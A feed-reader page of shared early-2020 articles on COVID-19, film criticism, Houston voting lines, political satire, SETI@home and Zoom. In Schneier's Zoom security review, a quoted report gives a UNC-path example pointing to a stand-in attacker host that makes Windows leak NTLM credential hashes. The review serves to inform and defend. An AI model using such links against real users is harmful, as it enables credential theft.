Shared posts

09 Apr 18:20

The New York Times Is Great, but Who’ll Cover Your Community?

by Mia Armstrong
COVID-19 threatens to decimate local news organizations. Is there a way forward?
03 Apr 18:50

Google Reveals Location Data to Help the Coronavirus Response

by Klint Finley
The search giant is disclosing trends in visits to broad categories of places, as a tool for public health officials.
03 Apr 18:44

Revisiting the DCEU: Wonder Woman & the Burden of the Female Superhero

by Princess Weekes

Gal Gadot as Wonder Woman

The Wonder Woman movie had to carry a lot on its shoulders. At the time of its release in 2017, it was the first female-led superhero film in decades, and considering DC movies’ track record at the time, it’s no surprise that people were concerned. What ended up happing was that the film—directed by Patty Jenkins, written by Allan Heinberg, and starring Gal Gadot as Diana Prince/Wonder Woman—became not just the most critically acclaimed female-led superhero movie of all time, but the first from the DCEU to be a critical and commercial darling, and so far, the first to be getting a real direct sequel (eventually).

For me, Wonder Woman, as a character, is iconic because of her place in comic book history, but is also so very inconsistent. A lot of characters change over time, but of the big three of DC, Diana’s origin has changed several times, from being literally born of clay, to being a child of rape, to being the daughter of Zeus or Hercules, all depending on who’s writing her. As a result, we sometimes get the Diana who once snapped Maxwell Lord’s neck without a worry, and we sometimes get a champion of love.

All of this is why it’s so hard for me to connect, on a pure character level, with the Wonder Woman movie. It feels very safe in all of its choices—which I understand, considering its place in the world, but which is also somewhat disappointing.

I understand that for a lot of people, especially women, this movie made them feel seen and strong. I don’t want to take that away from anyone, and I don’t think addressing some of the issues of the film means you’re doing that. The unfortunate reality is that Wonder Woman had the pressure of being a movie for every woman when no one film has that burden for every dude. Yet, when you think about that aspect of Wonder Woman, you sort of realize that without the Amazon part in the first 20 minutes, the film would hardly pass the Bechdel Test.

You realize that literally almost every man comments on how beautiful Diana is, but her foils are Doctor Poison, a woman with facial differences, and Etta Candy, who also comments on how she’s the most beautiful woman ever, and is relegated to a supportive, comedic role. Etta and Diana’s interaction is just them shopping together because, to quote The Bechdel Cast, “women be shopping.”

I also think it’s very interesting that Zeus gets credit in the movie for creating humans and the Amazons, giving them the island of Themyscira, and being Diana’s father (bleh), when in the comics, post-Crisis, the Amazons were created by Artemis, Athena, Demeter, Hestia, and Aphrodite. The female goddess gave them their island and Diana was born of clay from their power (plus gay icon Hermes), and so many other things that have nothing really to do with men.

Also, in the film, the fact that the island is filled with women but homosexuality is never spoken of out loud feels like a mistake, especially since Diana is canonically bisexual.

Wonder Woman is a triumph, but sometimes it feels that way because we have been given so little—not because the film is particularly exceptional. The fight scenes still get me pumped, and I think this third re-watch was the first time I really enjoyed this film. I just wish it did more with the amazing source material they have to mine from when it comes to Diana. I wish it had been more inclusive of different women, they way it was of different men.

With television in the ’90s and 2000s filled with exceptional women, mostly white and straight and gorgeous, I think I needed my Wonder Woman to just be a little bit more than just that. I have Xena. I have Buffy. I have scores of women in pop culture who filled that role. I’m glad Wonder Woman exists, and I also accept that a lot of what I wished it had been doesn’t mean the movie is “bad” as it is. It just isn’t for me.

(image: Warner Bros.)

Want more stories like this? Become a subscriber and support the site!

The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.—

03 Apr 18:43

Security and Privacy Implications of Zoom

by Bruce Schneier

Over the past few weeks, Zoom's use has exploded since it became the video conferencing platform of choice in today's COVID-19 world. (My own university, Harvard, uses it for all of its classes. Boris Johnson had a cabinet meeting over Zoom.) Over that same period, the company has been exposed for having both lousy privacy and lousy security. My goal here is to summarize all of the problems and talk about solutions and workarounds.

In general, Zoom's problems fall into three broad buckets: (1) bad privacy practices, (2) bad security practices, and (3) bad user configurations.

Privacy first: Zoom spies on its users for personal profit. It seems to have cleaned this up somewhat since everyone started paying attention, but it still does it.

The company collects a laundry list of data about you, including user name, physical address, email address, phone number, job information, Facebook profile information, computer or phone specs, IP address, and any other information you create or upload. And it uses all of this surveillance data for profit, against your interests.

Last month, Zoom's privacy policy contained this bit:

Does Zoom sell Personal Data? Depends what you mean by "sell." We do not allow marketing companies, or anyone else to access Personal Data in exchange for payment. Except as described above, we do not allow any third parties to access any Personal Data we collect in the course of providing services to users. We do not allow third parties to use any Personal Data obtained from us for their own purposes, unless it is with your consent (e.g. when you download an app from the Marketplace. So in our humble opinion, we don't think most of our users would see us as selling their information, as that practice is commonly understood.

"Depends what you mean by 'sell.'" "...most of our users would see us as selling..." "...as that practice is commonly understood." That paragraph was carefully worded by lawyers to permit them to do pretty much whatever they want with your information while pretending otherwise. Do any of you who "download[ed] an app from the Marketplace" remember consenting to them giving your personal data to third parties? I don't.

Doc Searls has been all over this, writing about the surprisingly large number of third-party trackers on the Zoom website and its poor privacy practices in general.

On March 29th, Zoom rewrote its privacy policy:

We do not sell your personal data. Whether you are a business or a school or an individual user, we do not sell your data.

[...]

We do not use data we obtain from your use of our services, including your meetings, for any advertising. We do use data we obtain from you when you visit our marketing websites, such as zoom.us and zoom.com. You have control over your own cookie settings when visiting our marketing websites.

There's lots more. It's better than it was, but Zoom still collects a huge amount of data about you. And note that it considers its home pages "marketing websites," which means it's still using third-party trackers and surveillance based advertising. (Honestly, Zoom, just stop doing it.)

Now security: Zoom's security is at best sloppy, and malicious at worst. Motherboard reported that Zoom's iPhone app was sending user data to Facebook, even if the user didn't have a Facebook account. Zoom removed the feature, but its response should worry you about its sloppy coding practices in general:

"We originally implemented the 'Login with Facebook' feature using the Facebook SDK in order to provide our users with another convenient way to access our platform. However, we were recently made aware that the Facebook SDK was collecting unnecessary device data," Zoom told Motherboard in a statement on Friday.

This isn't the first time Zoom was sloppy with security. Last year, a researcher discovered that a vulnerability in the Mac Zoom client allowed any malicious website to enable the camera without permission. This seemed like a deliberate design choice: that Zoom designed its service to bypass browser security settings and remotely enable a user's web camera without the user's knowledge or consent. (EPIC filed an FTC complaint over this.) Zoom patched this vulnerability last year.

On 4/1, we learned that Zoom for Windows can be used to steal users' Window credentials.

Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they're using. The Zoom app for Windows automatically converts these so-called universal naming convention strings -- such as \\attacker.example.com/C$ -- into clickable links. In the event that targets click on those links on networks that aren't fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link.

On 4/2, we learned that Zoom secretly displayed data from people's LinkedIn profiles, which allowed some meeting participants to snoop on each other. (Zoom has fixed this one.)

I'm sure lots more of these bad security decisions, sloppy coding mistakes, and random software vulnerabilities are coming.

But it gets worse. Zoom's encryption is awful. First, the company claims that it offers end-to-end encryption, but it doesn't. It only provides link encryption, which means everything is unencrypted on the company's servers. From the Intercept:

In Zoom's white paper, there is a list of "pre-meeting security capabilities" that are available to the meeting host that starts with "Enable an end-to-end (E2E) encrypted meeting." Later in the white paper, it lists "Secure a meeting with E2E encryption" as an "in-meeting security capability" that's available to meeting hosts. When a host starts a meeting with the "Require Encryption for 3rd Party Endpoints" setting enabled, participants see a green padlock that says, "Zoom is using an end to end encrypted connection" when they mouse over it.

But when reached for comment about whether video meetings are actually end-to-end encrypted, a Zoom spokesperson wrote, "Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection."

They're also lying about the type of encryption. On 4/3, Citizen Lab reported

Zoom documentation claims that the app uses "AES-256" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.

The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber's company, are outside of China.

I'm okay with AES-128, but using ECB (electronic codebook) mode indicates that there is no one at the company who knows anything about cryptography.

And that China connection is worrisome. Citizen Lab again:

Zoom, a Silicon Valley-based company, appears to own three companies in China through which at least 700 employees are paid to develop Zoom's software. This arrangement is ostensibly an effort at labor arbitrage: Zoom can avoid paying US wages while selling to US customers, thus increasing their profit margin. However, this arrangement may make Zoom responsive to pressure from Chinese authorities.

Or from Chinese programmers slipping backdoors into the code at the request of the government.

Finally, bad user configuration. Zoom has a lot of options. The defaults aren't great, and if you don't configure your meetings right you're leaving yourself open to all sort of mischief.

"Zoombombing" is the most visible problem. People are finding open Zoom meetings, classes, and events: joining them, and sharing their screens to broadcast offensive content -- porn, mostly -- to everyone. It's awful if you're the victim, and a consequence of allowing any participant to share their screen.

Even without screen sharing, people are logging in to random Zoom meetings and disrupting them. Turns out that Zoom didn't make the meeting ID long enough to prevent someone from randomly trying them, looking for meetings. This isn't new; Checkpoint Research reported this last summer. Instead of making the meeting IDs longer or more complicated -- which it should have done -- it enabled meeting passwords by default. Of course most of us don't use passwords, and there are now automatic tools for finding Zoom meetings.

For help securing your Zoom sessions, Zoom has a good guide. Short summary: don't share the meeting ID more than you have to, use a password in addition to a meeting ID, use the waiting room if you can, and pay attention to who has what permissions.

That's what we know about Zoom's privacy and security so far. Expect more revelations in the weeks and months to come. The New York Attorney General is investigating the company. Security researchers are combing through the software, looking for other things Zoom is doing and not telling anyone about. There are more stories waiting to be discovered.

Zoom is a security and privacy disaster, but until now had managed to avoid public accountability because it was relatively obscure. Now that it's in the spotlight, it's all coming out. (Their 4/1 response to all of this is here.) On 4/2, the company said it would freeze all feature development and focus on security and privacy. Let's see if that's anything more than a PR move.

In the meantime, you should either lock Zoom down as best you can, or -- better yet -- abandon the platform altogether. Jitsi is a distributed, free, and open-source alternative. Start your meeting here.

EDITED TO ADD: Fight for the Future is on this.

Steve Bellovin's comments.

Meanwhile, lots of Zoom video recordings are available on the Internet. The article doesn't have any useful details about how they got there:

Videos viewed by The Post included one-on-one therapy sessions; a training orientation for workers doing telehealth calls, which included people's names and phone numbers; small-business meetings, which included private company financial statements; and elementary-school classes, in which children's faces, voices and personal details were exposed.

Many of the videos include personally identifiable information and deeply intimate conversations, recorded in people's homes. Other videos include nudity, such as one in which an aesthetician teaches students how to give a Brazilian wax.

[...]

Many of the videos can be found on unprotected chunks of Amazon storage space, known as buckets, which are widely used across the Web. Amazon buckets are locked down by default, but many users make the storage space publicly accessible either inadvertently or to share files with other people.

EDITED TO ADD (4/4): New York City has banned Zoom from its schools.

03 Apr 18:42

Pandemics: Do we need an app for that?

by John Timmer
Pandemics: Do we need an app for that?

Enlarge (credit: Purism)

Right now, with huge numbers of infected individuals and a limited testing capacity, the US has no way of knowing who's at risk for a SARS-CoV-2 infection. The ultimate goal of socially isolating, however, is to reduce the levels of infection so that we can do what's called contact tracing: figuring out everyone an infected individual has been in contact with and isolating and testing them. If implemented effectively, this will catch newly infected people before they become contagious, keeping the virus from spreading.

That process, however, relies on contact tracing being efficient and accurate enough to identify anyone at risk before they move on and infect multiple new people. A new study by a group of Oxford researchers suggests that SARS-CoV-2 is simply too infectious for this to work well. The team isn't without a solution, though: a smartphone app that caches contact information and alerts all contacts as soon as a positive test result happens.

Without a trace

Contact tracing is, in principle, really simple. Once an infected individual is identified, they're interviewed to ask where they've come into contact with other people for a while. In reality, it's a nightmare. People's memories are faulty, and it can be difficult to reconstruct everywhere they've been. And it's one thing if they know they visited a few friends or family members; it's something else if they rode a bus or stopped by a large store. Identifying who was even in the same place at that time can take days if not weeks.

Read 12 remaining paragraphs | Comments

03 Apr 18:41

So Wait, How Encrypted Are Zoom Meetings Really?

by Lily Hay Newman
The service's mixed messages have frustrated cryptographers, as the US government and other sensitive organizations increasingly depend on it.
03 Apr 18:41

The Biggest Coronavirus Myths, Busted

by Matt Simon
No, drinking water won’t flush the virus out of your mouth. Here’s how to inoculate yourself against bad Covid-19 information.
05 Mar 21:21

Updating Joseph Campbell’s “Hero’s Journey” to Cover Female Action Heroes–Pretty Much Pop: A Culture Podcast #33

by Mark Linsenmayer

This week's guest Vi Burlew has arisen, a shining figure clad in mail, carrying aloft a shimmering broadsword to bring your hosts Mark Linsenmayer, Erica Spyres, and Brian Hirt this topic about the hero's journey.

This general plot structure dating back to ancient myth was detailed by Joseph Campbell and famously and deliberately plundered to create the plot of the original Star Wars. So how has this evolved with the increasing introduction of female heroes in recent, largely Disney-owned blockbusters? We talk Wonder Woman and Captain Marvel, anticipate Black Widow and the new Mulan, but also bring in Lord of the Rings, Harry Potter, The Wizard of Oz, Little Women, Jane Eyre, Working Girl, and of course Road House.

What complicates this issue is that a distinct "heroine's journey" had already been plotted in response to Campbell by feminist thinkers at least back to Maureen Murdock in 1990. The key difference is that while the hero achieves the goal and comes home in triumph, the heroine then realizes that there was something self-betraying about the triumph and requires an additional step of reconciliation with her origins. This is like if Luke realized after destroying the Death Star that he was a moisture farmer all along and had to come to terms with that. (Maybe he could actually grieve for his dead aunt and uncle and his best friend Biggs!)

It's been argued that Harry Potter's journey more closely resembles that heroine's journey, whereas, say, Eowyn from Lord of the Rings ("I am no man!") is a more traditional hero. Action films of today may feature female heroes, but when this is done thoughtfully (not just by taking an action hero and swapping the gender without further alteration), then filmmakers may tweak the structure of the myth to include some gender-specific elements and perhaps blend the two types of journey. These new variants that may or may not resonate in the way that caused the original Star Wars/Campbell formula to become so popular.

Two articles we specifically cite in our discussion are:

For some basics about the journeys described by Joseph Campbell, Maureen Murdok, and a different version by Victoria Lynn Schmidt, see the Wikipedia entries on Hero's Journey and Heroine's Journey.

In addition, The Heroine Journeys Project website features numerous articles about female heroes in media. We also looked at this reddit thread, which among other things provides some opposing views to those of our guests about the Star Wars franchise character Rey.

This episode includes bonus discussion that you can only hear by supporting the podcast at patreon.com/prettymuchpop. This podcast is part of the Partially Examined Life podcast network.

Pretty Much Pop: A Culture Podcast is the first podcast curated by Open Culture. Browse all Pretty Much Pop posts or start with the first episode.

Updating Joseph Campbell’s “Hero’s Journey” to Cover Female Action Heroes–Pretty Much Pop: A Culture Podcast #33 is a post from: Open Culture. Follow us on Facebook, Twitter, and Google Plus, or get our Daily Email. And don't miss our big collections of Free Online Courses, Free Online Movies, Free eBooksFree Audio Books, Free Foreign Language Lessons, and MOOCs.

05 Mar 21:20

We need to talk about those lines

by Charles Kuffner

I wish we could talk about something else, but we have to do this.

Hervis Rogers, the hero we don’t deserve

Dozens of Democratic voters were still waiting to cast ballots at midnight in Houston, turning Super Tuesday into a painful slog for some citizens amid questions about how the County Clerk’s office had allocated its voting machines across the county.

Janet Gonzalez left work early and at 5:30 p.m. checked a website the clerk’s office runs to show wait times at polling places. It seemed Texas Southern University had a short wait, but when she arrived she found a massive line. She waited an hour outside and three more inside before she finally cast her ballot.

Officials with the clerk’s office acknowledged the accuracy of the wait-times website is reliant on election workers manually updating the status of their polling places.

Some people in line gave up and walked away, Gonzalez said. Others briefly sought refuge on a scattering of chairs before giving them up to others as the line inched forward.

[…]

Democratic County Clerk Diane Trautman and her staff said each of the county’s 401 polling places started with between 16 and 48 machines, depending on anticipated turnout, but at each location the machines were divided equally between the Democrat and Republican primaries, regardless of whether the location heavily favored one party or the other.

“If we had given one five and one 10, and that other one had a line, they would say, ‘You slighted us,’” Trautman said late Tuesday. “So we wanted to be fair and equal and start at the same amount. Through the day, we have been sending out additional machines to the Democratic judges to the extent that we ran out.”

During Election Day the clerk’s office dispatched 68 extra voting machines to Democratic polls, including 14 to TSU, in response to election judges’ requests. Trautman added that some of the machines assigned to TSU to start the day had to be replaced after malfunctioning.

Trautman said a joint primary — which would have allowed both parties’ ballots to be loaded on each voting machine, rather than separating the equipment by party — would have reduced the lines, but the GOP rejected the idea.

[…]

County Democratic Party chair Lillie Schechter said her staff did not grasp until Tuesday that when Trautman spoke of allocating the machines “equitably” she meant dividing them equally at each polling site, rather than giving each party the same number of machines but concentrating most of them in areas known to be strongholds of each party.

“We’re thrilled that turnout has been so high today and that’s been super exciting, but I think the story with the voting machines goes a step farther back than just how the voting machines are allocated,” she said. “The machines are part of the problem but not the whole problem.”

In order to preserve citizens’ ability to vote at any polling place on Election Day – a new policy under Trautman, and one GOP officials have opposed – Schechter said the parties needed to agree on shared polling locations. That gave Republicans more power in the negotiation, she said, and resulted in more than 60 percent of Tuesday’s polling sites being located in Republican-held county commissioner precincts, with less than 40 percent in commissioner precincts held by Democrats.

It’s kind of amazing that more people didn’t just give up and walk away after hours of waiting on line. You think you’re committed to American ideals and democracy, tell that to Hervis Rogers and the other people who waited as long as they did to exercise their right to vote. Every last one of them deserves our thanks, and a hell of a lot better from the experience next time.

This story expands a bit on that last paragraph above.

The clerk’s office dispatched additional machines to some poll sites, located in heavily black and Hispanic neighborhoods including Third Ward, Acres Homes and Gulfgate. They provided only partial relief.

At Texas Southern University, where just 48 Republicans voted early, the final Democratic voter cast his ballot after 1 a.m. after waiting in line for more than six hours.

Democratic election workers at a Sunnyside voting center reported functioning machines were broken in a successful ruse to get the clerk’s office to send more, a spokeswoman for Trautman said.

The sheer expanse of Harris County’s 1,777 square miles and most-in-Texas 2.3 million registered voters long has posed problems for county clerks in primary and general elections. When Democratic precincts in past elections had extremely long lines, some in the party blamed the Republican county clerk.

Problems persisted in Tuesday’s primary, however, even though Democrats have controlled every countywide post since last year.

Yes, and many people noticed, though a lot of blame still accrued to Republicans thanks to their long and dedicated record of vote suppression. But we don’t have Stan Stanart to kick around any more, and the spotlight is on us to fix this, not just for next time but on a more permanent basis.

I mean, I can accept that the Harris County GOP’s refusal to go along with a joint primary and the certainty that they’d pitch a fit if Dems got more voting machines than they did even though it was a virtual certainty that Dems would be the larger part of the Tuesday electorate was a problem. But we elected Diane Trautman to solve problems like that, and on Tuesday she didn’t. The onus is squarely on her to be completely transparent about what happened and why it happened, and to come up with a plan to ensure it never happens again. That doesn’t mean just brainstorming with her staff. That means concrete action involving all of the stakeholders – people from the community, election law experts, Commissioner Ellis and Garcia’s offices, County Attorney Vince Ryan and 2020 nominee Christian Menefee, grassroots organizations like TOP and the Texas Civil Rights Project and whoever else, and the HCDP since they have as big a stake in this as anyone. Convene a commission, get everyone’s input on what they saw and what they experienced and what they know and what they need, and come up with a plan for action.

Among other things, that means having much better communications, both before the election so people have a better idea of what polling places are open and what ones aren’t – yes, this is on the website, but clearly more than that needs to be done – and on Election Day, when rapid response may be needed to deal with unexpected problems. Why weren’t there more voting machines available on Tuesday, and why wasn’t there a way to get them to the places with the longest lines in a timely manner? Let the Republicans whine about that while it’s happening, at that point no one would care. Stuff happens, and anyone can guess wrong about what Election Day turnout might look like. But once that has happened, don’t just sit there, DO SOMETHING about it. It really shouldn’t have to take election clerks pretending that machines had malfunctioned to get some relief.

Also, as useful as the voting centers concept is, we need to recognize that for folks with mobility issues, having places they can walk to really makes a difference. Add Metro and transit advocacy folks like LINK Houston to that list of commission attendees, because the mobility of the people in a given neighborhood needs to be weighed into decisions about which Election Day sites are open and which are consolidated in the same way that relative turnout is. If a significant segment of a given population simply can’t drive to another neighborhood to vote, then all the voting centers in the world don’t matter.

I get that in November we’ll have all locations open, and there won’t be any squabble over who gets which voting machines. That will help. But in November, no matter how heavy early voting will be, we’re going to get a lot more people going to the polls on Election Day than the 260K or so that turned out this Tuesday. Voter registration is up, turnout is up, and we need to be much better prepared for it. Diane Trautman, please please please treat this like the emergency that it is. And Rodney Ellis, Adrian Garcia, and Lina Hidalgo, if that means throwing some money at the problem, then by God do that. We didn’t elect you all to have the same old problems with voting that we had before. The world is watching, and we’ve already made a lousy first impression. If that doesn’t hurt your pride and make you burn to fix it, I don’t know what would.

(My thanks to nonsequiteuse and Melissa Noriega for some of the ideas in this post. I only borrow from the best.)

UPDATE: Naturally, after I finished drafting this piece, out comes this deeper dive from the Trib. Let me just highlight a bit of it:

Months before, the Democratic and Republican county parties had been unable to agree to hold a joint primary, which would have allowed voters to share machines preloaded with ballots for both parties.

The Harris County Democratic Party had agreed to the setup, but the Harris County GOP refused, citing in part the long lines Republican voters would have to wait through amid increased turnout for the pitched Democratic presidential primary.

“We wanted them to do a joint primary where you would just have one line and voters could use all the machines, but they couldn’t agree on that,” said Harris County Clerk Diane Trautman, who was elected to her post in 2018.

Without a resolution, Trautman chose to allocate an equal number of machines for both primaries at each polling site “because we didn’t want to slight anyone,” particularly as Harris moved to countywide voting to free voters from precinct-specific voting. But the move essentially halved the number of voting machines available to Democratic voters on a busy election day. That meant Republican voting quickly wrapped up across the county while Democratic lines made for extra hours of voting at multiple polling places.

In a Wednesday press conference, Paul Simpson, the chair of the Harris County GOP, reiterated that the party was adamantly opposed to joint primaries and sought to preempt any blame for long Democratic lines. To Simpson, Trautman misfired by pursuing a 50/50 split of voting machines across the board instead of using past turnout data to adjust allocations, and he pointed to the party’s recommendation to give Republicans only four machines at Texas Southern University.

“The county clerk refused and failed to follow our suggestion to avoid the lines that we predicted last summer were going to happen,” Simpson said.

(Previous voting patterns weren’t available for Texas Southern University, which was only added as polling place under Trautman.)

But Lillie Schechter, the chairwoman of the Harris County Democratic Party, said the excessive wait times Democrats faced Tuesday were part of a broader electoral divide in a county that has turned reliably blue in recent years. That change in power has come with voting initiatives that local Republicans have not warmed up to, including a move to countywide voting that allows voters to cast ballots at any polling place in the county on election day.

To keep countywide voting for the primary election, the political parties needed to agree on the distribution of shared polling places. But the map the GOP pushed for on Super Tuesday established more voting centers in the two county commissioner precincts represented by Republicans, Schechter said.

“If you look at the story to say let’s blame the county clerk’s office, you’re missing the big picture here,” Schechter said.

In the aftermath of the wait time debacle, Trautman acknowledged that Democratic voting on Super Tuesday was bogged down by both technical and training issues. The county’s voting machines — the oldest in use among the state’s biggest counties — went down at different points in the night. Election workers weren’t always able to make the adjustments to bring them back into order. Both machines and election workers were “stretched to the max” during the late-night voting slog, she said.

At midnight — seven hours after polls closed — voting was again interrupted at the two polling places that were still running, including the Texas Southern University site, when the tablets used to check in voters automatically timed out and had to be rebooted.

Later on Wednesday, Trautman signaled she was assessing what the county needed to fix moving forward — a better method for rerouting voters to nearby voting sites with shorter lines, a wait time reporting system that’s not dependent on busy election workers, pushing for more early voting and, perhaps most notably, purchasing additional equipment for the November election.

“We will work to improve to make things better,” Trautman said.

It’s the right attitude and I’m glad to see it. The Clerk’s office is also in the process of scoping out new voting machines, which can’t come soon enough but which will introduce new challenges, in terms of adapting to the new technology and educating voters on how to use it. All this is a good start, and now I want to see a whole lot of follow-through.

05 Mar 21:18

Study shows low carb diet may prevent, reverse age-related effects within the brain

by Azra Raza

From Phys.Org:

A study using neuroimaging led by Stony Brook University professor and lead author Lilianne R. Mujica-Parodi, Ph.D., and published in PNAS, reveals that neurobiological changes associated with aging can be seen at a much younger age than would be expected, in the late 40s. However, the study also suggests that this process may be prevented or reversed based on dietary changes that involve minimizing the consumption of simple carbohydrates.

To better understand how diet influences brain aging, the research team focused on the presymptomatic period during which prevention may be most effective. In the article titled “Diet modulates brain network stability, a biomarker for brain aging, in young adults,” they showed, using large-scale life span neuroimaging datasets, that functional communication between brain regions destabilizes with age, typically in the late 40’s, and that destabilization correlates with poorer cognition and accelerates with insulin resistance. Targeted experiments then showed this biomarker for brain aging to be reliably modulated with consumption of different fuel sources: glucose decreases, and ketones increase, the stability of brain networks. This effect was replicated across both changes to total diet as well as after drinking a fuel-specific calorie-matched supplement.

“What we found with these experiments involves both bad and good news,” said Mujica-Parodi, a Professor in the Department of Biomedical Engineering with joint appointments in the College of Engineering & Applied Sciences and Renaissance School of Medicine at Stony Brook University, and a faculty member in the Laufer Center for Physical and Quantitative Biology. “The bad news is that we see the first signs of brain aging much earlier than was previously thought. However, the good news is that we may be able to prevent or reverse these effects with diet, mitigating the impact of encroaching hypometabolism by exchanging glucose for ketones as fuel for neurons.”

What the researchers discovered, using neuroimaging of the brain, is that quite early on there is breakdown of communication between brain regions (“network stability”).

More here.

05 Mar 21:18

The Right to Repair Will Help Us Endure Outbreaks

by Kyle Wiens
As the coronavirus disrupts the global supply chain, the ability to fix our stuff is key to our resilience.
05 Mar 21:17

Freeman Dyson as remembered by Tim O'Reilly

by David Pescovitz

Legendary physicist and mathematician Freeman Dyson, whose mind-blowing work ranged from quantum electrodynamics to nuclear engineering to the search for extraterrestrial intelligence, died last week at 96-years-old. Tim O'Reilly just published a tribute to Dyson's genius, curiosity, kindness and unique lens on, well, everything. From O'Reilly Radar:

When I interviewed Freeman on stage at OSCON in 2004, along with his son George, the subject strayed to digital preservation. I lamented how much would be lost due to incompatible standards for information storage, and he said, “Oh no, forgetting is so important! It is what gives room for new ideas to come in.” This was such a typical Freeman moment: bringing a profoundly fresh perspective to any discussion. Perhaps the most famous example is the paper he wrote in 1949 at the age of 25 making the case that the visualizations of Richard Feynman were mathematically equivalent to the calculations of the more conventional physicists Julian Schwinger and Shin’ichirō Tomonaga, a paper that led to Feynman, Schwinger, and Tomonaga receiving the 1965 Nobel Prize in Physics for the theory of quantum electrodynamics...

After George sent an email to a group of friends about Freeman’s death, Danny Hillis replied with a story that seems to perfectly encapsulate this gift of Freeman’s for seeing things that others missed. “I visited him recently,” Danny wrote, “and we got into a conversation about self-organizing systems. After lunch we climbed up the long stairs to his office, and when we sat down he seemed a bit distracted. I asked him what was wrong. Well, he said, what seemed wrong was that self-gravitating systems have negative specific heat capacity. The thing to do, he said, was to figure out why that was right.” When the world doesn’t quite make sense, don’t brush the offending observations under the rug. Think harder.

"Remembering Freeman Dyson" (O'Reilly Radar)

image credit: Monroem (CC BY-SA 3.0)

05 Mar 20:41

I Don’t Hate Women Candidates  —  I Just Hated Hillary Clinton and Now Believe That Elizabeth Warren Is Responsible for the Collapse of the Republic

by Devorah Blachor

When you hated Hillary Clinton, you didn’t really have to explain yourself. Everyone understood why someone would hate Hillary Clinton, the worst Pizzagate warmonger in human history who was so evil that she spent her First Lady years trying to get Americans universal healthcare. Ugh.

But it was hard to reach the same conclusion with Elizabeth Warren. At least, it was hard at first. When we were introduced to her, she was fiercely taking on the big banks and lobbyists to create the CFPB, which returned $12 billion to consumers and students who had been defrauded.

After that, we got to know Warren better as an advocate for requiring banks to admit wrongdoing and pay fines, as an opponent to big pharma and health-industry corruption, and as a champion of the progressive agenda. If anti-corruption took human form, it would definitely look like a 70-year-old professor in a Nina McLemore tailored jacket.

But then something changed. It’s hard to pin down just when, but if pressed, I’d have to say the turning point was when Elizabeth Warren gained momentum in the presidential race, and then made a mistake. That’s when I knew she wasn’t an ideal candidate, but instead was a demonic creature who must be stopped before she destroyed our country.

For some, Warren’s ruinous mistake was her Medicare for All plan, which would have brought Americans universal healthcare. That would have been amazing, but when Chris Matthews made it sound so inconvenient because of an increased tax rate, we all understood that Warren was unfit to serve. In contrast, any vagaries surrounding Bernie’e Medicare for All plan were just details to be hammered out at a later date.

For others, her big error was the DNA test. When she apologized for it, Warren proved that she’s irredeemable and untrustworthy. Every time the most lying President in American history called her “Pocahontas,” we were reminded anew of how terrible she was.

But for those who are more forgiving, Elizabeth Warren became unsupportable only once we found out how she didn’t vote the exact right way in the Senate. Did you know that she voted for a bill to increase military spending, which means she actually KILLED INNOCENT PEOPLE? That’s a real thing people and bots wrote on Twitter, so it must be logical. Her moral purity was forever tarnished, whereas the stain of any questionable vote or actions taken by the other candidates could be easily washed away by Pete’s intelligence, Joe’s likeability, Mike’s money, and Bernie’s Bernieness.

Still, none of Elizabeth Warren’s blunders were as bad as the worst crime of all, which is that she stayed in the presidential race. This was unforgivable. Once Warren’s poll numbers started to go down, the writing was on the wall, but she was too much of a crazed megalomaniacal she-devil to read it. If other candidates slumped in the polls, it was a sign that they should shift tactics, but for Warren, that absolutely meant she should step aside. Her optimism and hope, and the way she inspired her supporters, wasn’t important at all. It was just coronavirus poison in disguise.

A few months ago, when I was hating Kamala Harris, I couldn’t have imagined a candidate eliciting the same kind of strong negative emotion, but man I was wrong. And because Warren stayed in the race through Super Tuesday, the consequences will be catastrophic. Thanks to her, other candidates didn’t get the votes they should have received, and now we’ll never have universal healthcare and climate change will destroy the planet. If only she had dropped out sooner, or never ran in the first place, none of these misfortunes would have happened. But now we are doomed. When Donald Trump is reelected, we can lay all the blame on Elizabeth Warren, and that will feel so good.

I don’t hate women candidates — those snake emojis were symbols of love and respect for them — I just hated Hillary Clinton, and now I hate Elizabeth Warren. As I decide between the spry, fresh faces of Bernie Sanders and Joe Biden, I will tell my daughter that girls can do anything, that the sky’s the limit, and that she can even be president of the United States one day — just as long as she doesn’t make any mistakes or get in any man’s way.

- - -

Read also:
I Don’t Hate Women Candidates — I Just Hated Hillary and Coincidentally I’m Starting to Hate Elizabeth Warren.

05 Mar 20:05

The grandfather of distributed computing projects, SETI@home, shuts down

by John Timmer
Image of a multi-color spectrum with many small peaks, with text above it.

Enlarge (credit: Wikimedia commons)

Over the weekend, the people who manage the SETI@home distributed-computing project announced it would be going on hiatus at the end of March. The project was one of the first efforts that successfully convinced home users to donate some of their free computing time to help with research, and its success spawned a large number of related projects.

While it's on hiatus, users with a fondness for distributed computing might take a look at Folding@home, which is trying to figure out the structures of proteins on the surface of the SARS-CoV-2 coronavirus.

SETI sunset

The SETI@home's project page describes the reason for the shutdown simply. Over the years, home users have done so much processing that the team now has a large backlog of processed data to analyze. So, the researchers are de-prioritizing the management of the data distribution and focusing instead on looking at what has already been done in the hope of getting their analysis published in an academic journal. As a result, no more work units will be distributed after the end of March.

Read 9 remaining paragraphs | Comments

03 Mar 18:47

An Interactive Social Network of Abstract Artists: Kandinsky, Picasso, Brancusi & Many More

by Colin Marshall

Who's your favorite abstract artist? Some of us, if we like early abstraction, might name a painter like Wassily Kandinsky, some a composer like Arnold Schoenberg, some a poet like Guillaume Apollinaire, and some, even, a photographer like Alfred Stieglitz. When we answer a question like this, we tend to consider each artist, and each artist's body of work, in isolation. But when we talk about artistic movements, especially one overarching and influential as abstraction, all names, all paintings, all compositions, all poems, all photographs — all works of any kind — are interconnected. Just as abstract artists managed to make visible, audible, and legible concepts and feelings never before realized in art, the Museum of Modern Art's interactive social-network map of abstract art puts all those connections on display for us to see.

